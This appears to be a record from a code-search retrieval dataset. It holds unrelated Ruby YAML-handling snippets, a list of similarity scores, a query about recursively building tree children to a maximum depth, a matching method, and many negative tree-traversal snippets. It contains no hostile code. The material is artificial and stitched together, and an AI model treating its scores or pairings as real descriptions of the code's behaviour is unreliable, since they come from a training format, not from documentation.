"def save()\n File.open(CONFIG_FILE, 'w'){ |f| f.write config.to_yaml } # Store\n end",
"def load_from_yaml(file)\n document_lines = File.readlines(file)\n\n headers = document_lines.enum_for(:each_with_index).\n find_all { |line, _| line =~ /^---/ }\n if headers.empty? || headers.first[1] != 0\n headers.unshift [\"--- name:default\", -1]\n end\n\n options = headers.map do |line, line_number|\n line_options = Hash.new\n line = line.chomp\n line.split(/\\s+/)[1..-1].each do |opt|\n if opt =~ /^(\\w+):(.*)$/\n line_options[$1] = $2\n else\n raise ArgumentError, \"#{file}:#{line_number}: wrong format #{opt}, expected option_name:value, where 'value' has no spaces\"\n end\n end\n line_options['merge'] = (line_options['merge'] == 'true')\n line_options['chain'] = (line_options['chain'] || '').split(',')\n [line_options, line_number]\n end\n options[0][0]['name'] ||= 'default'\n\n options.each do |line_options, line_number|\n if !line_options['name']\n raise ArgumentError, \"#{file}:#{line_number}: missing a 'name' option\"\n end\n end\n\n sections = []\n options.each_cons(2) do |(_, line0), (_, line1)|\n sections << document_lines[line0 + 1, line1 - line0 - 1]\n end\n sections << document_lines[options[-1][1] + 1, document_lines.size - options[-1][1] - 1]\n\n changed_sections = []\n @conf_options = options\n\n sections.each_with_index do |doc, idx|\n doc = doc.join(\"\")\n doc = evaluate_dynamic_content(file, doc)\n\n result = YAML.load(StringIO.new(doc))\n\n conf_options = options[idx].first\n name = conf_options.delete('name')\n changed = in_context(\"while loading section #{name} of #{file}\") do\n add(name, result || Hash.new, conf_options)\n end\n\n if changed\n changed_sections << name\n end\n end\n\t if !changed_sections.empty?\n\t \t@merged_conf.clear\n\t end\n changed_sections\n rescue Exception => e\n raise e, \"error loading #{file}: #{e.message}\", e.backtrace\n end",
"def load_config(config_file)\n YAML.load(File.open(config_file))\nend",
"def dump_yaml!(filepath,translations)\n return if translations.blank?\n FileUtils.mkdir_p(@dirpath) unless File.exists?(@dirpath)\n File.open(filepath, 'w+') { |f| YAML::dump(translations, f) } \n end",
"def pets\n load_yaml('personaje/pets')\nend",
"def load_database_yaml; end",
"def load_database_yaml; end",
"def update_config\n if File.directory?(yolo_dir) and File.exist?(yaml_path)\n @yaml = YAML::load_file yaml_path\n update_yaml_setting(@yaml, \"deployment\", \"api_token\", \"example\")\n update_yaml_setting(@yaml, \"deployment\", \"team_token\", \"example\")\n end\n end",
"def to_yaml_s\n fail '@key is empty' if \"#{@key}\".empty?\n\n x = \"=== #{@key} ===\\n\"\n x += \"#{(description || 'FIXME: NO DESCRIPTION GIVEN')}\\n\"\n\n # comment every line that describes the item:\n x = x.each_line.map{ |y| \"# #{y}\" }.join\n\n # add yaml (but stripped of frontmatter and first indent)\n # TODO: should we be using SafeYAML? http://danieltao.com/safe_yaml/\n x += { @key => @value }.to_yaml.gsub(/^---\\s*\\n/m, '').gsub(/^ /, '' )\n x += \"\\n\"\n\n if @skip_yaml\n x.gsub( /^/, '### ' )\n else\n x\n end\n end",
"def to_yaml(opts = {})\n return super if defined?(YAML::ENGINE) && !YAML::ENGINE.syck?\n\n YAML.quick_emit(nil, opts) do |out|\n string = to_s\n out.scalar(YAML_TAG, YAML_MAPPING[string] || string, :plain)\n end\n end",
"def load_yaml(base=ENV['PWD'], env=\"active\")\n env = \"dev\" if env == \"active\" and not File.exist? \"#{base}/opt/active\"\n @data = ::YAML.load_file(\"#{base}/opt/#{env}/config.yaml\")\n end",
"def to_yaml(opts = {})\n return super unless defined?(YAML::ENGINE) && YAML::ENGINE.syck?\n\n YAML.quick_emit(nil, opts) do |out|\n string = to_s\n out.scalar(YAML_TAG, YAML_MAPPING[string] || string, :plain)\n end\n end",
"def to_yaml\n # write yaml\n end",
"def load_yaml\n if has_file? \"#{name}.yml\"\n YAML.load_file(path / \"#{name}.yml\").apply_to self\n end\n end",
"def default_config_file\n './deadlyzer.yml'\n end",
"def load_yaml(path, environment = nil)\n env = environment ? environment.to_s : env_name\n\n contents = File.read(path)\n if contents.empty?\n raise Mongoid::Errors::EmptyConfigFile.new(path)\n end\n\n # These are the classes that can be used in a Mongoid\n # configuration file in addition to standard YAML types.\n permitted_classes = [\n # Symbols occur as values for read preference, for example.\n Symbol,\n # BSON::Binary occur as keyId values for FLE (more precisely,\n # the keyIds are UUIDs).\n BSON::Binary,\n ]\n\n result = ERB.new(contents).result\n data = if RUBY_VERSION < '2.6'\n YAML.safe_load(result, permitted_classes, [], true)\n else\n YAML.safe_load(result, permitted_classes: permitted_classes, aliases: true)\n end\n\n unless data.is_a?(Hash)\n raise Mongoid::Errors::InvalidConfigFile.new(path)\n end\n\n data[env]\n end",
"def configure_by_yaml(path=nil)\n unless path\n # Display file explorer\n path = Qt::FileDialog.getOpenFileName(self, \"Open configuration file\", \".\", \"YAML Files (*.yml *.yaml)\")\n end\n\n begin \n # Load configuration from YAML\n hash = YAML.load(open(path))\n \n # Sanity checks:\n error = nil\n \n if hash.keys.max > @container_hash.keys.max\n error = \"Higher position value in file than #containers available.\"\n elsif hash.size > @container_hash.size\n error = \"More config items in file than containers available.\"\n end\n \n if error\n msg_box = Qt::MessageBox.new\n msg_box.set_text(\"Problem with YAML import:\")\n msg_box.set_informative_text(error)\n msg_box.exec\n return\n end\n \n # Disconnect, update configuration and connect for each container\n hash.each do |pos, config|\n container = @container_hash[pos]\n container.disconnect\n container.configure_by_obj(config)\n container.connect if config\n end\n rescue Exception => e\n Vizkit.error \"A problem occured while trying to open '#{path}': \\n#{e.message}\"\n Vizkit.error e.backtrace.inspect \n end\n end",
"def write_yaml(stations)\n log(' - Writing YAML...', false)\n File.open(YAML_PATH.to_s, 'w') { |file| file.write(stations.to_yaml) }\n log('DONE')\nend",
"def configure_with(file)\n config = YAML.load_file(file || DEFAULT_CONFIG_FILE)\n configure(config)\n rescue Errno::ENOENT\n #puts 'YAML configuration file couldn\\'t be found. Using defaults.'\n rescue Psych::SyntaxError\n #puts 'YAML configuration file contains invalid syntax. Using defaults'\n end",
"def yaml_content() = JSON.parse(content.to_json).to_yaml",
"def loadConfig(configFile)\n #For Shoes compatability change to a known directory\n Dir.chdir(ENV['HOME'])\n config = {}\n #f = open(\"|ls \" + configFile)\n #foo = f.read()\n\n #@message.text = foo\n\n #do this to set parameters that might be missing from the yaml file\n config[:raw_conf_folder_loc] = \"\"\n config[:drv_conf_folder_loc] = \"\"\n config[:template_file_loc] = \"\"\n config[:template_include_folder] = false\n config[:launch_photo_transf] = \"\"\n config[:launch_photo_editor] = \"\"\n config[:append_template] = false\n if File.exist?(configFile)\n config.update(open(configFile) {|f| YAML.load(f) })\n end\n return config\nend",
"def yaml_load filename\n yaml_string = File.read filename\n\n YAML::load yaml_string\nend",
"def yaml_load filename\n yaml_string = File.read filename\n\n YAML::load yaml_string\nend",
"def to_config\n require_relative '../../puppet/util/docs'\n # Scrub any funky indentation; comment out description.\n str = Puppet::Util::Docs.scrub(@desc).gsub(/^/, \"# \") + \"\\n\"\n\n # Add in a statement about the default.\n str << \"# The default value is '#{default(true)}'.\\n\" if default(true)\n\n # If the value has not been overridden, then print it out commented\n # and unconverted, so it's clear that that's the default and how it\n # works.\n value = @settings.value(self.name)\n\n if value != @default\n line = \"#{@name} = #{value}\"\n else\n line = \"# #{@name} = #{@default}\"\n end\n\n str << (line + \"\\n\")\n\n # Indent\n str.gsub(/^/, \" \")\n end",
"def copy_yml\n template \"config/regulate.yml\", \"config/regulate.yml\"\n end",
"def load_yaml(path) # Path must be in /data\n # path must be a yaml file path\n YAML.load_file(File.join(__dir__, \"../data/#{path}.yml\"))\n # YAML keys will be allways strings (never symbols)\n # Returns hash of values (strings)\nend",
"def data\n YAML::load_file(files[:config])\n end",
"def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"def config_path\n test? ? \"config-test.yml\" : \"config.yml\"\n end",
"def modify_yaml_for_testing(yaml_path)\n puts \"Modifying yaml for testing\"\n yaml_file = yaml_path + \"/bf.config.yaml\"\n c_path = Dir.pwd\n c_path.slice!(/\\/test$/)\n\n bf_config = File.open(yaml_file).read\n bf_config.gsub!(/\\/h\\/hsap.36.1.hg18\\/hsap_36.1_hg18.fa/, \"/t/test/test.fa\")\n bf_config.gsub!(%r{h/hsap.36.1.hg18/bwaaln/hsap_36.1_hg18.fa}, \n \"/t/test/bwaaln/test.fa\")\n %w{28000 8000 4000}.each {|n| bf_config.gsub!(/#{n}/, \"400\") }\n %w{8g 4g}.each {|n| bf_config.gsub!(/#{n}/, \"1g\") }\n \n bf_config.gsub!(/dist_dir:.+$/, \"dist_dir: #{c_path}\")\n bf_config.gsub!(/reads_per_file:.+$/, \"reads_per_file: 480\")\n\n # Send email only to the user that is testing this\n user=`id -u -n`.chomp\n bf_config.gsub!(/email_to:.+$/, \"email_to: #{user}@bcm.edu\")\n\n File.open(yaml_file, \"w\") {|f| f.write(bf_config)}\nend",
"def to_yaml(opts={})\n YAML.quick_emit(nil, opts) do |out|\n out.scalar(taguri, to_h, :plain)\n end\n end",
"def to_yaml # :nodoc:\n yaml_hash = {}\n yaml_hash[:backtrace] = @hash.key?(:backtrace) ? @hash[:backtrace] :\n DEFAULT_BACKTRACE\n yaml_hash[:benchmark] = @hash.key?(:benchmark) ? @hash[:benchmark] :\n DEFAULT_BENCHMARK\n yaml_hash[:verbose] = @hash.key?(:verbose) ? @hash[:verbose] :\n DEFAULT_VERBOSITY\n\n keys = yaml_hash.keys.map { |key| key.to_s }\n keys << 'debug'\n re = Regexp.union(*keys)\n\n @hash.each do |key, value|\n key = key.to_s\n next if key =~ re\n yaml_hash[key.to_s] = value\n end\n\n yaml_hash.to_yaml\n end"
] |
[
"0.6787396",
"0.6782029",
"0.6781727",
"0.6616474",
"0.6595259",
"0.65163434",
"0.6477871",
"0.63987166",
"0.6366485",
"0.63271475",
"0.627424",
"0.62559974",
"0.61879957",
"0.6170774",
"0.6123417",
"0.6095065",
"0.60552955",
"0.60490334",
"0.60274416",
"0.6020626",
"0.6020626",
"0.60027635",
"0.5988858",
"0.5984949",
"0.5965303",
"0.5954872",
"0.5950308",
"0.59415257",
"0.5939649",
"0.5931339",
"0.5931208",
"0.5913974",
"0.5893846",
"0.5893579",
"0.58886",
"0.5885632",
"0.58748263",
"0.58670396",
"0.58670396",
"0.5866107",
"0.5864955",
"0.58605427",
"0.5856863",
"0.5845965",
"0.58420026",
"0.58420026",
"0.5812972",
"0.5808555",
"0.58046335",
"0.58046335",
"0.58046335",
"0.57744837",
"0.57689303",
"0.5764798",
"0.5763976",
"0.57574093",
"0.57442284",
"0.573291",
"0.5727727",
"0.57241774",
"0.5720381",
"0.571304",
"0.5711877",
"0.5711758",
"0.5710754",
"0.57068855",
"0.570676",
"0.57018316",
"0.5677656",
"0.5673047",
"0.5672429",
"0.5662089",
"0.5660274",
"0.5643895",
"0.5643895",
"0.5639435",
"0.5636328",
"0.5634088",
"0.56330353",
"0.5623952",
"0.5619216",
"0.5618001",
"0.5614753",
"0.5611409",
"0.5610028",
"0.5598457",
"0.55982494",
"0.5582099",
"0.55728006",
"0.5563914",
"0.5563914",
"0.55583507",
"0.55582917",
"0.55514973",
"0.55478024",
"0.5518183",
"0.5518183",
"0.55156606",
"0.5511445",
"0.5504354",
"0.55038655"
] |
0.0
|
-1
|
Recursively builds children until it reaches the max_depth.
|
def build_children(node, parent = nil)
node.children = get_all_moves(node)
unless node.depth + 1 == @max_depth
node.children.each {|child| build_children(child, node)}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def make_children(node)\n #return nil if node.depth > @max_depth\n POSSIBLE_MOVES.each do |move|\n if (node.x + move[0] < size && node.y + move[1] < size) &&\n (node.x + move[0] >= 0 && node.y + move[1] >= 0)\n child = Node.new(node.x + move[0], node.y + move[1], node.depth + 1, [], node)\n node.children << child\n @total_children += 1\n @initial_depth += 1\n make_children(child) unless child.depth == @max_depth\n else\n next\n end\n end\n end",
"def deep_branch_children\n if self.branch?\n arr = []\n children.each do |child|\n if child.branch?\n arr.concat child.deep_branch_children\n end\n end\n arr.push self\n arr\n else\n nil # caller shouldn't be asking for branch children anyway\n end\n end",
"def each_child_recursive # :yields: child\n each_child do |child|\n yield child\n child.each_child_recursive do |subchild|\n yield subchild\n end\n end\n end",
"def make_children(depth_layer)\n @childless.each do |node|\n coords = generate_children_coordinates(node.x, node.y)\n coords.each do |x,y|\n child = Move.new(x,y,depth_layer,[],node)\n node.children ||= []\n node.children << child\n @node_count += 1\n end\n end\n #generate coordinates for children\n #creates child nodes with child coordinates, appropriate depth attribute, appropriate parent node attribute)\n end",
"def get_level_children(dirname,level) #:nodoc:\n dir_children = full_entries(dirname)\n @level_children += dir_children\n if level < @max_level\n dir_children.each {|e|\n if File.directory?(e)\n get_level_children(e,level + 1)\n end\n }\n end\n end",
"def children_depth\n leaf? ? 0 : children.map(&:depth).max\n end",
"def walk(elements, max_depth, *args)\n output = ''\n\n # invalid parameter or nothing to walk\n return output if max_depth < -1 || elements.blank?\n\n parent_field = @db_fields[:parent]\n\n # flat display\n if -1 == max_depth\n empty_array = {}\n elements.each do |e|\n display_element(e, empty_array, 1, 0, args, output)\n end\n return output\n end\n\n # Need to display in hierarchical order.\n # Separate elements into two buckets: top level and children elements.\n # Children_elements is two dimensional array, eg.\n # Children_elements[10][] contains all sub-elements whose parent is 10.\n top_level_elements = []\n children_elements = {}\n elements.each do |e|\n if e.send(parent_field).blank? || e.send(parent_field) == 0\n top_level_elements << e\n else\n children_elements[e.send(parent_field)] ||= []\n children_elements[e.send(parent_field)] << e\n end\n end\n\n # When none of the elements is top level.\n # Assume the first one must be root of the sub elements.\n if top_level_elements.blank?\n root = elements.first\n\n top_level_elements = []\n children_elements = {}\n elements.each do |e|\n if root.send(parent_field) == e.send(parent_field)\n top_level_elements << e\n else\n children_elements[e.send(parent_field).to_i] ||= []\n children_elements[e.send(parent_field).to_i] << e\n end\n end\n end\n\n top_level_elements.each do |e|\n display_element(e, children_elements, max_depth, 0, args, output)\n end\n\n # If we are displaying all levels, and remaining children_elements is not empty,\n # then we got orphans, which should be displayed regardless.\n if max_depth == 0 && !children_elements.empty?\n empty_array = {}\n children_elements.values.each do |orphans|\n orphans.each do |op|\n display_element(op, empty_array, 1, 0, args, output)\n end\n end\n end\n output\n end",
"def all_children_deep(flag=nil)\n\t\tarr = []\n\t\tall_children(flag).each do |c|\n\t\t\tarr << c\n\t\t\tc.all_children_deep(flag).each do |cc|\n\t\t\t\tarr << cc\n\t\t\tend\n\t\tend\t\t\t\n\t\tarr\n\tend",
"def all_children(accummulator=[])\n return accummulator if children.size == 0\n children.each do |child_id|\n child = Folder.get(child_id)\n accummulator << child\n child.all_children(accummulator)\n end\n accummulator\n end",
"def build_current_children_and_evaluate! opts={}\n these_asserts\n @current.clear\n if (@start_offset > final_offset) # see :note3\n @done = true\n evaluate_ok!\n return nil\n end\n @ok = nil\n @done = false\n @children_productions = production.children\n @ctxt = parse_context\n (start_offset..@children.length-1).each do |idx|\n @current.push idx\n break unless build_this_child_and_keep_going?(idx, opts)\n end\n @children_productions = nil\n @ctxt = nil\n evaluate_ok!\n nil\n end",
"def find_childless\n @childless = []\n queue = [@root]\n until queue.empty?\n curr_node = queue[0]\n if curr_node.children.empty?\n @childless << curr_node\n else \n queue += curr_node.children\n end\n queue.shift\n end\n @childless\n end",
"def children\n children = []\n\n unless leaf?\n zipper = down\n children << zipper\n\n until zipper.last?\n zipper = zipper.next\n children << zipper\n end\n end\n\n children\n end",
"def expand_children node=:current_index\n $multiplier = 999 if !$multiplier || $multiplier == 0\n node = row_to_node if node == :current_index\n return if node.children.empty? # or node.is_leaf?\n #node.children.each do |e| \n #expand_node e # this will keep expanding parents\n #expand_children e\n #end\n node.breadth_each($multiplier) do |e|\n expand_node e\n end\n $multiplier = 0\n _structure_changed true\n end",
"def optimize_depth_array()\n\n @root = @all_depths[0].first[1]\n\n # for each depth in tree\n @all_depths[1..@all_depths.length-1].each do |depth|\n # for each item in depth (could be node or array of nodes)\n depth.each do |sec_id, item|\n if (item.class == Node)\n node = item\n parent = get_parent(node.path)\n parent.add_child(node)\n else # item is array of nodes\n item.each do |node|\n parent = get_parent(node.path)\n parent.add_child(node)\n end\n end\n end\n end\n\n end",
"def subtrees\n yield self\n each do |child|\n if child.kind_of? Tree\n child.subtrees do |tree|\n yield tree\n end\n end\n end\n end",
"def depth\n children_depth + my_depth\n end",
"def create_children(&block)\n if block.(self, cv = ntants)\n unless @depth == 0\n @children = cv.map{|vupper, vlower| Node.new(vupper, vlower, @depth - 1)}\n @children.each{|child| child.create_children &block}\n end\n end\n end",
"def children(max_distance=@default_distance)\n @children[0] = [@entity] if @children[0].empty?\n add_relatives(@children,1,max_distance,:children)\n @children\n end",
"def max_nesting=(depth)\n #This is a stub, used for indexing\n end",
"def get_childs(recursive, ret_obj)\n\n return self.class.get_childs(self.id, recursive, ret_obj)\n end",
"def max_depth(root)\n node_queue = [root]\n depth = 0\n\n while node_queue.any?\n depth += 1\n breadth = node_queue.size\n breadth.times do\n node = node_queue.shift\n node_queue.push(node.left) unless node.left.nil?\n node_queue.push(node.right) unless node.right.nil?\n end\n end\n\n depth\nend",
"def recursive_each_with_height element, depth, block\n block.call element, depth\n if element.attributes.include? KAXChildrenAttribute\n element.attribute(:children).each do |x|\n recursive_each_with_height x, depth + 1, block\n end\n end\n end",
"def maximum_depth(node, depth = 0)\n @h = depth\n node.descendants.map{|d| @h = d.depth if d.depth >= @h }\n @h \nend",
"def max_depth(root)\n return 0 if root.nil?\n\n depth, q = 0, [root, nil]\n while true\n n = q.shift\n\n if n.nil?\n depth += 1\n\n break if q.empty?\n q << nil; next\n end\n\n q << n.left if n.left\n q << n.right if n.right\n end\n depth\nend",
"def all_children\n reload\n nodes = []\n queue = children.to_a\n until queue.empty?\n node = queue.pop\n nodes.push(node)\n queue += node.children.to_a\n queue.flatten!\n end\n nodes\n end",
"def all_children\n @all_children ||= children + children.inject([]) {|records, child| records + child.all_children}\n end",
"def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend",
"def traverse_down(&block)\n block.call(self)\n if(!children.nil?)\n children.each{ |child| child.traverse_down(&block) }\n end\n end",
"def max_level_depth\n MAXIMUM_LEVEL_DEPTH\n end",
"def divide_if_needed(defer_update = false)\n if children.size > MAX_SIZE\n raise \"node is not lowest level and can therefore not be divided: #{self}\" unless lowest_level?\n @children = (0...MAX_SIZE).collect do |i|\n leaves = children.find_all {|leaf| leaf.shash_array[level] == i}\n NonLeafNode.new(self, leaves)\n end\n children.each {|child| child.divide_if_needed(defer_update)}\n end\n update_shash(false) unless defer_update\n end",
"def dump_children(parent,depth=nil)\n list = []\n depth = 0 if (!depth)\n\n parent.children.each do |entry|\n list.push({:NetStruct => entry, :Depth => depth})\n\n if (entry.children.length > 0)\n list.concat( dump_children(entry, (depth+1) ) )\n end\n end\n\n return(list)\n end",
"def generate_children\n\n return unless @CMAX && @CMAX > 0\n\n num_children = rand(@CMAX)\n num_children.times do\n # Pick a child type, options and preposition\n type = choose(@CTPS.keys)\n options = @CTPS[type]\n options[:prep] = choose(@CPRP[type])\n options[:parent] = self\n options[:language] = @LANG\n\n if options[:name] == false || options[:name_self] == true\n options[:name] = \"#{type}\"\n else\n options[:name] = @LANG.make_name(type)\n end\n\n child = $archives.create(type.downcase.to_sym, options)\n @CHLD.push(child)\n end\n\n end",
"def look_deeper contexts, deep, max_item_depth = 9, max_aspect_depth = 9, item_depth = 0\n unless item_depth == 0\n deep = look_wider contexts, deep, max_aspect_depth, 0\n deep[:row] += 1\n end\n deep[:indents] ||= []\n # deep[:numberings] ||= []\n deep[:indents ][deep[:row]] = item_depth || 0\n # deep[:numberings][deep[:row]] = self.class.numbering_list || []\n self.class.numbering_push\n unless (item_depth += 1) >= max_item_depth\n items.each do |item|\n self.class.numbering_increment\n deep = (item.recursive_ref || item).look_deeper contexts, deep, max_item_depth, max_aspect_depth, item_depth\n end\n end\n self.class.numbering_pop\n item_depth -= 1\n deep\n end",
"def depth\n return 0 unless has_children?\n children.inject(0) {|dep,c| dep > c.depth ? dep : c.depth} + 1\n end",
"def depth_first\n result = [self]\n if child_ids.empty?\n return result\n else\n children.sort.each do |child|\n result += child.depth_first\n end \n end\n return result \n end",
"def build_tree(unit, node, level = 0)\r\n return nil if level > @max_depth\r\n \t\r\n unit.next_move(node.current_case).each do |next_case|\r\n next if next_case[0] < 0 || next_case[0] > 7 ||\r\n next_case[1] < 0 || next_case[1] > 7 \r\n \r\n next_node = Node.new(next_case, node)\r\n node.children << next_node\r\n\r\n build_tree(unit, next_node, level + 1)\r\n end \r\n end",
"def get_children_ids_recursive\n ids = []\n children.each do |c|\n\t\t\t\tif !c.children.empty?\n\t\t\t\t\tids += c.get_children_ids_recursive\n\t\t\t\tend\n\t\t\t\tids << c.id\n\t\t\tend\n return ids\n\t\tend",
"def children\n @children ||= []\n end",
"def build_tree(arr)\n\ntree = []\n\ntree.push(Node.new(arr[0]))\n\n arr[1..-1].each do |i|\n new_node = Node.new(i)\n\n condition = false\n current = tree[0]\n until condition == true\n if i > current.value && current.find_right_child.count == 0\n new_node.create_parent(current)\n current.create_right_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i < current.value && current.find_left_child.count == 0\n new_node.create_parent(current)\n current.create_left_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i > current.value && current.find_right_child.count == 1\n current = current.find_right_child[0]\n elsif i < current.value && current.find_left_child.count == 1\n current = current.find_left_child[0]\n end\n end\n end\n tree\nend",
"def nesting_levels\n return unless @options.fetch :folder_limit\n\n tree&.path_length || @options.fetch(:nesting_levels)\n end",
"def descendants\n children + children.map(&:children).flatten\n end",
"def walk_tree(tree, path, level)\n result = []\n tree.children.each do |child|\n open = child.tree? && (child.path == path[0..level].join('/'))\n result << [level, child, open]\n result += walk_tree(child, path, level + 1) if open\n end\n result\n end",
"def setBredthLevels\n stack = []\n queue = []\n level = 0\n\n queue.push(@root)\n\n while(queue.size != 0)\n node = queue.shift\n\n stack.append([node.name, node.level])\n\n node.children.each_with_index do |child, i|\n level += 1 if i == 0\n child.level = level\n queue.push(child)\n end\n end\n\n return stack\n end",
"def render_children_for_page?(page, depth)\n depth.succ <= @_options[:depth].to_i && children_of(page).any?\n end",
"def children\n building_children = [] # creepy\n board.rows.each_with_index do |row, i|\n row.each_with_index do |tile, j|\n if tile.nil?\n current_board = board.dup\n current_board[[i, j]] = @next_mover_mark\n next_mark = @next_mover_mark == :x ? :o : :x\n building_children << TicTacToeNode.new(current_board, next_mark, [i, j])\n end\n end\n end\n building_children\n end",
"def walk &blk\n self.children.each do |child|\n yield child\n end\n self.children.each do |child|\n child.walk &blk\n end\n end",
"def build_move_tree\n queue = [@root_node]\n until queue.empty?\n current_node = queue.shift\n possible_positions = new_move_positions(current_node.value) #[]\n possible_positions.each do |position| #[1,2]\n child_node = PolyTreeNode.new(position) #node object(value = 1,2)\n child_node.parent = current_node\n current_node.add_child(child_node)\n queue << child_node\n end\n end\n end",
"def tree_recursive(parent)\n threshold ||= 2 * 12 # 8x8 by default\n\n parent.get_info do |offset_x, offset_y, width, height|\n if (width >= threshold || height >= threshold)\n child_1 = nil\n child_2 = nil\n if (height >= threshold) # cut horizontally\n child_1 = Node.new(parent.offset.clone, [width, height/2])\n child_2 = Node.new([(parent.offset[0] + height/2),parent.offset[1]], [width, height - height/2])\n else\n child_1 = Node.new(parent.offset.clone, [width/2, height])\n child_2 = Node.new([parent.offset[0], (parent.offset[1] + width/2)], [width - width/2, height])\n end\n parent.left = child_1\n parent.right = child_2\n child_1.parent = child_2.parent = parent\n\n tree_recursive(child_1)\n tree_recursive(child_2)\n end\n end\n end",
"def build_child_forums forums, tree, stats, parent_id\n forums.each do |forum, children|\n break unless forum.is_active?\n\n if parent_id != 0\n break unless forum.id == parent_id or forum.ancestry.split('/').map(&:to_i).include?(parent_id)\n end\n \n # update forum stats and last_post_id\n forum.topic_count = stats[forum.id]['topics']\n forum.post_count = stats[forum.id]['posts']\n forum.last_post_id = stats[forum.id]['last_post_id']\n\n # include sub-forum stats too\n if forum.child_list?\n forum.child_list.split('/').each do |forum_id|\n forum.topic_count = forum.topic_count + stats[forum_id.to_i]['topics']\n forum.post_count = forum.post_count + stats[forum_id.to_i]['posts']\n end\n end\n \n # add forum to tree\n tree << forum\n \n # check for children\n build_child_forums children, tree, stats, parent_id\n end\n \n return tree\n end",
"def each_child(&block)\n children.each do | child |\n yield(child)\n child.each_child &block unless child.leaf?\n end\n end",
"def build_tree(arr, root, i, n)\n\tif i < n\n\t\troot = TreeNode.new(arr[i])\n\t\troot.left = build_tree(arr, root.left, i*2+1, n)\n\t\troot.right = build_tree(arr, root.right, i*2+2, n)\n\tend\n\treturn root\nend",
"def recursive_each_with_level element, depth, block\n block.call element, depth\n element.children.each do |x|\n recursive_each_with_level x, depth + 1, block\n end\n end",
"def build_move_tree\n move_q = [@root]\n while move_q.length > 0\n children = new_move_positions(move_q[0].value)\n children.each do |kid|\n move_q[0].add_child(PolyTreeNode.new(kid))\n end\n move_q += move_q[0].children\n move_q.shift\n end\n nil\n end",
"def max_depth(root)\n #iterative\n # res = 0\n # return res if root.nil?\n # current = [root]\n # until current.empty?\n # res+=1\n # parents = current\n # current = []\n # parents.each do |node|\n # current << node.left unless node.left.nil?\n # current << node.right unless node.right.nil?\n # end\n # end\n # res\n\n #recursive\n return 0 if root.nil?\n left = max_depth(root.left) + 1\n right = max_depth(root.right) + 1\n [left,right].max\nend",
"def each(&block)\n squish = lambda do |tree, list|\n new_children = tree.children.reduce(list) { |acc, elem| squish.call(elem, acc) }\n [tree.root].lazy_append(new_children)\n end\n\n squish.call(self, [])\n\n # base = [root]\n # recursive = children.map(&:each)\n # res = base.lazy_append(recursive)\n\n # return res.each(&block) if block_given?\n\n # res\n\n # res = [[root], children.flat_map(&:each)].lazy.flat_map(&:lazy)\n # res = res.map(&block) if block_given?\n # res\n end",
"def children\n children = []\n @board.each.with_index do |row, i|\n row.each.with_index do |spot, j|\n temp_board = @board.dup\n temp_board[i, j] = next_mover_mark if spot.empty?\n prev_move_post = temp_board[i, j]\n children << temp_board\n end\n end\n #if a board spot is empty, \n #we populate a deep dupe of board with the mark, \n #then push this populated board into children\n # end\n return children\n end",
"def with_descendants(id)\n next_ids = [id]\n descendants = [id]\n\n while next_ids.any?\n parents = next_ids\n next_ids = []\n\n parents.each do |pid|\n if children = node_ids_by_parent_id[pid]\n descendants.concat(children)\n next_ids.concat(children)\n end\n end\n end\n\n descendants\n end",
"def build_tree_arbitrary(arr)\n node = Node.new(arr[0])\n queue = [node]\n @root = node\n i = 0\n\n until queue.empty?\n node = queue.shift\n children = node_children(node, i, arr)\n queue.concat(children)\n i += 2\n end\n end",
"def children\n return [] if child_count <= 0\n with_cache(:children) do\n @od.request(\"#{api_path}/children?$top=1000\")['value'].map do |child|\n OneDriveItem.smart_new(@od, child)\n end\n end\n end",
"def get_children_recursion(node)\n\tif node.class == SOCIAL_NETWORK[0].class\n\t\tnode.children.each do |child|\n\t\t\tget_children_recursion(delegate_word(child))\n\t\tend\n\tend\nend",
"def tree\n return [self] if @children.empty?\n\n @children.each_with_object([self]) do |child, tree|\n tree.concat(child.tree)\n end\n end",
"def build_tree(start, finish, node = Node.new(start), queue = [node])\n @root = node\n\n until queue.index { |n| n.value == finish }\n node = queue.shift\n node.children = generate_move_nodes(node.value, finish)\n node.children.each { |c| queue << c }\n end\n end",
"def each_poss(max_depth=9)\n @poss.each do |p|\n break if p.length > max_depth\n yield p\n end\n end",
"def _children\n @children\n end",
"def _children\n @children\n end",
"def _children\n @children\n end",
"def _children\n @children\n end",
"def max_depth(root)\n return 0 unless root\n\n 1 + [max_depth(root.left), max_depth(root.right)].max\nend",
"def build_tree(arr)\n #arr.shuffle!\n arr.each do |x|\n if @root == nil\n @root = Node.new(x)\n else\n current_node = @root\n until current_node == nil\n if x < current_node.value\n parent = current_node\n direction = \"left\"\n current_node = current_node.left_child\n elsif x > current_node.value\n parent = current_node\n direction = \"right\"\n current_node = current_node.right_child\n end\n end\n if direction == \"left\"\n parent.left_child = Node.new(x)\n elsif direction == \"right\"\n parent.right_child = Node.new(x)\n end\n end\n end\n end",
"def _children\n @children\n end",
"def build_items(item, limit, index, hierarchical = false, root_path = \"\")\n return \"\" if index > limit || !item.children.present?\n\n html = \"<ul class='#{index == 1 ? \"menu\" : \"sub-menu\"}'>\"\n item.children.order_default.each do |i|\n if i.visible && i.active\n html << \"<li class='#{\"menu-item-has-children\" if i.children.present?} #{\"active\" if i.slug == params[:menu_id] || i.slug == request.original_fullpath.match(/(\\D+\\/{1}|\\D+)/)[0].gsub('/', '')}'>\"\n\n if i.external_link.blank?\n if hierarchical\n html << \"<a href='#{root_path}/#{i.slug}'>#{i.name}</a>\"\n else\n html << \"<a href='/#{i.slug}'>#{i.name}</a>\"\n end\n else\n html << \"<a href='#{i.external_link}' rel='#{(i.follow || i.follow.nil?) ? \"follow\" : \"nofollow\"}' target='#{i.target.blank? ? '_self' : i.target}'>#{i.name}</a>\"\n end\n\n html << build_items(i, limit, index + 1, hierarchical, root_path + \"/#{i.slug}\")\n html << \"</li>\"\n end\n end\n html << \"</ul>\"\n html.html_safe\n end",
"def render_children options = {}\n return if children.empty?\n\n flattened_children.map{ |child| render_child(child, options) }.join\n end",
"def children\n tree_search_class.where(tree_parent_id_field => self._id).sort(self.class.tree_sort_order()).all\n end",
